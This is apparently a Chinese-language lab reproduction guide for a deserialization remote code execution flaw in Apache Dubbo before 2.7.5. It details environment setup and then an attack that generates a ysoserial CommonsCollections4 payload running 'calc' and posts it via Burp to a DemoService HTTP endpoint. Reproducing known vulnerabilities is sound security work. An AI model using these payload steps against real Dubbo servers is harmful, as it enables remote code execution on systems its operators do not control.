信息
影響版本:Dubbo < 2.7.5
條件:
時間:
復現環境:
win10 + jdk1.8 + idea 2019.2.4(用來搭建dubbo) + zookeeper 3.4.10
復現版本:Dubbo 2.7.3
版本探測:
漏洞環境的搭建
1. idea的下載安裝
下載並且安裝idea,我的是收費版的(網上有破解教程),如果只是為了快速復現漏洞,那么試用30天后直接看下一步好了。
2. zookeeper的下載及啟動
①dubbo需要配合zookeeper使用,下載zookeeper,地址:
https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
②在解壓后的文件夾zookeeper-3.4.10里面創建 data和logs目錄
②修改 conf目錄下的zoo_sample.cfg為zoo.cfg
並且修改zoo.cfg,如下添加
③ 雙擊bin目錄下的 zkServer.cmd,啟動,zookeeper會監聽2181端口
3. dubbo的啟動
①下載github里dubbo的demo
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
②修改dubbo-samples-http里面的pom.xml
首先版本改為2.7.3
其次添加依賴
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
②用idea導入,"File"->"New"->"Project from existing resources" ->選擇目錄"dubbo-samples-http"里面的pom.xml
③這個時候如果直接下載的話會很慢很慢,嘗試更換源(建議必換)
右鍵導入的項目名,點擊"Maven"。點擊"Create setting.xml",用下面內容直接全部替換掉
加速源
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<!-- mirror
| Specifies a repository mirror site to use instead of a given repository. The repository that
| this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
| for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
|
<mirror>
<id>mirrorId</id>
<mirrorOf>repositoryId</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://my.repository.com/repo/path</url>
</mirror>
-->
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
<mirror>
<id>uk</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://uk.maven.org/maven2/</url>
</mirror>
<mirror>
<id>CN</id>
<name>OSChina Central</name>
<url>http://maven.oschina.net/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
<mirror>
<id>nexus</id>
<name>internal nexus repository</name>
<!-- <url>http://192.168.1.100:8081/nexus/content/groups/public/</url>-->
<url>http://repo.maven.apache.org/maven2</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
</settings>
③ 重啟idea,點擊項目中的pom.xml,"Maven"->"Reimport"就可以下載依賴,很快很快就會被下載完成
4.坑點
當看到"dubbo service started"就說明成功了。
如果你的ip也正確的話,那么下面一段話就不用看了,直接看攻擊步驟就好了。
仔細觀察他給你的url中的ip。一開始我的ip是我一個虛擬網卡的ip,我不能訪問。
搜索之后,要修改dubbo的配置文件來綁定自己的ip,這里貼出我的配置,配置文件dubbo-samples-http\src\main\resources\spring\http-provider.xml
攻擊
1.下載jar包
https://xiaokou.top/usr/uploads/file/ysoserial-master-30099844c6-1.jar
2.生成payload
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "calc" > calc.ser
3.burp發包
訪問192.168.1.104:8080/org.apache.dubbo.samples.http.api.DemoService,burp截包
修改訪問類型為POST,post的數據就是calc.ser的內容,這里不要打開calc.ser直接復制,用burp的"Paste from file"
成功彈出計算器
注意的地方
1.maven下載的時候一定要配置國內的源啊,不然要花費很長時間才能下載完依賴,而且真的不一定能下載完
2.配置完環境后,其實我們是沒法訪問8080端口看到東西的,因為只是一個provider端,並沒有提供dubbo的全部功能。
3.發包的時候,不要直接打開calc.ser直接復制
4.dubbo啟動后要看看自己的ip地址對不對